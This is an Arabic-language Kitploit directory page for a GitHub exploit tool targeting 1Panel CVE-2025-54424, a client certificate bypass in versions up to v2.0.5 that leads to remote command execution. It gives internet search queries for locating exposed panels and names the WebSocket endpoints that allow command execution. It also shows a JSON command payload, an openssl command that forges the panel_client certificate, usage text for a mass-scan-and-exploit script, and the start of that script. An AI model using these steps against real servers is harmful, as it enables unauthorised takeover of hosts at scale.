Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
1Panel-CVE-2025-54424- — أداة استغلال لـ 1Panel CVE-2025-54424، تتيح تجاوز الشهادة وتنفيذ أوامر عن بُعد عبر WebSocket، مع فحص جماعي وقشرة تفاعلية. | Kitploit
أدوات/GitHubGitHub/anonnymous5/1panel-cve-2025-54424-
ماسحات الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةأداة الوصول عن بعد
GitHubanonnymous5/1panel-cve-2025-54424-

1Panel-CVE-2025-54424-

أداة استغلال لـ 1Panel CVE-2025-54424، تتيح تجاوز الشهادة وتنفيذ أوامر عن بُعد عبر WebSocket، مع فحص جماعي وقشرة تفاعلية.

عرض المستودع
13منذ 9 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-54424

CVE-2025-54424: أداة متكاملة لثغرة تجاوز شهادة العميل لـ 1Panel مما يؤدي إلى RCE (مسح + استغلال)

نظرة عامة على الثغرة

1Panel هي لوحة إدارة تشغيل وصيانة Linux مفتوحة المصدر وحديثة، توفر واجهة رسومية لنشر مواقع الويب وإدارة الخوادم وتشغيل الخدمات.

في الإصدارات المتأثرة، تكون سياسة مصادقة TLS لـ Agent هي tls.RequireAnyClientCert، والتي تطلب فقط تقديم شهادة ولكنها لا تتحقق من مصداقيتها. يمكن للمهاجم تجاوز فحص TLS باستخدام شهادة ذاتية التوقيع، وتزوير حقل CN إلى panel_client لتجاوز فحص طبقة التطبيق. في النهاية، يمكن للمهاجم تزوير شهادة لاستدعاء واجهة تنفيذ الأوامر غير المصرح بها، مما يؤدي إلى ثغرة تنفيذ الأوامر عن بُعد.

الإصدارات المتأثرة

<= v2.0.5

بناء جملة المسح

جمل مسح Hunter و Fofa كما يلي:

cert.subject_org=="FIT2CLOUD"&&ip.port="9999" || cert.subject.suffix=="panel_server"

cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"

تحليل الثغرة

تم نسخ جزء من إعلان الثغرة على GitHub

  • أولاً، نقدم مفهوم جانب Core وجانب Agent في 1panel v2. بعد إصدار الإصدار الجديد، أضاف 1panel وظيفة إدارة العقد، التي تسمح بالتحكم في المضيفين الآخرين عن طريق إضافة العقد.
  • يستخدم بروتوكول HTTPS للاتصال بين جانب Core وجانب Agent، ولكن التحقق من الشهادة لم يكتمل، مما يؤدي إلى واجهة غير مصرح بها. نظراً لوجود عدد كبير من الواجهات عالية الصلاحية أو التي تنفذ أوامر في 1panel، يحدث RCE.

عملية تدقيق الكود

  1. أولاً، ندخل إلى ملف توجيه HTTP الخاص بـ Agent: agent/init/router/router.go

  1. نجد أن دالة Routers تستدعي دالة Certificate للتحقق الشامل في ملف agent/middleware/certificate.go

  2. نجد أن دالة Certificate تتحقق مما إذا كان c.Request.TLS.HandshakeComplete قد تم إجراء اتصال بالشهادة.

  3. يتم تحديد صحة c.Request.TLS.HandshakeComplete من خلال tls.RequireAnyClientCert في دالة Start في ملف agent/server/server.go ملاحظة: نظراً لاستخدام tls.RequireAnyClientCert بدلاً من tls.RequireAndVerifyClientCert، فإن RequireAnyClientCert يتطلب فقط من العميل تقديم شهادة، لكنه لا يتحقق من مرجع التصديق (CA) الذي أصدر الشهادة. لذلك، يمكن لأي شهادة ذاتية التوقيع اجتياز مصافحة TLS.

  4. بعد ذلك، ندخل إلى الفحوص الأخرى في دالة Certificate، والتي تتحقق فقط من أن حقل CN للشهادة هو panel_client، دون التحقق من مُصدر الشهادة. أخيراً، نجد أن اتصال WebSocket يمكنه تجاوز التحقق من Proxy-ID.

  5. يوجد عدد كبير من واجهات WebSocket في المشروع.

  • واجهة WebSocket لعملية (Process) (يمكن الحصول على جميع معلومات العمليات الحساسة وفقاً للمشكلة المذكورة أعلاه) عنوان المسار: /process/ws تنسيق الطلب كما يلي:
{
  "type": "ps",           // نوع البيانات: ps (عمليات)، ssh (جلسات SSH)، net (اتصالات الشبكة)، wget (تقدم التنزيل)
  "pid": 123,             // اختياري، تحديد معرف العملية للتصفية
  "name": "process_name", // اختياري، التصفية حسب اسم العملية
  "username": "user"      // اختياري، التصفية حسب اسم المستخدم
}

  • واجهة WebSocket للطرفية SSH (يمكن تنفيذ أي أمر وفقاً للمشكلة المذكورة أعلاه) عنوان المسار: /hosts/terminal تنسيق الطلب كما يلي:
{
  "type": "cmd",
  "data": "d2hvYW1pCg=="  // ترميز base64 لـ "whoami"، تذكر إضافة إرجاع السطر (\n).
}

  • واجهة WebSocket لطرفية الحاوية (واجهة تنفيذ الأوامر في الحاوية) عنوان المسار: /containers/terminal
  • واجهة WebSocket لعملية تنزيل الملفات (دفع معلومات تقدم التنزيل تلقائياً) عنوان المسار: /files/wget/process

إعادة إنتاج الثغرة

إعادة الإنتاج يدوياً

  1. إنشاء شهادة:

openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"

  1. بعد تحميل panel_client.crt و panel_client.key في Burp، افتح طلب WS، وقم بتعيين الهدف وبدء الطلب.

الفحص الجماعي

استخدم أداتي المطورة CVE-2025-54424.py للفحص والاستغلال الجماعي. تعليمات استخدام الأداة كما يلي:

تثبيت التبعيات المطلوبة: pip install websocket-client cryptography PySocks requests

usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
                         [--proxy PROXY]

1Panel أداة متكاملة لثغرة تجاوز شهادة العميل مما يؤدي إلى RCE (مسح + استغلال)
المؤلف: Mrxn https://github.com/Mr-xn

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     هدف فردي، يدخل وضع الاستغلال. مثال: 192.168.1.100:8080
  -f FILE, --file FILE  ملف الأهداف، يدخل وضع الفحص الجماعي.
  -o OUTPUT, --output OUTPUT
                        [وضع الفحص] اسم ملف حفظ نتائج الثغرات.
  -t THREADS, --threads THREADS
                        [وضع الفحص] عدد الخيوط المتزامنة.
  --proxy PROXY         تعيين وكيل لجميع الطلبات. مثال: http://127.0.0.1:8080

مثال على فحص فردي + تنفيذ أوامر (تنفيذ أوامر تفاعلي عبر SSH) كما هو موضح في الصورة أدناه:

import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime

# تعطيل التحذيرات عند تعطيل SSL في طلبات requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# --- المتغيرات العامة وقفل الخيوط ---
print_lock = threading.Lock()
exploit_running = True
vulnerable_hosts = []

# --- الوظائف الأساسية ---
تنزيل الأداة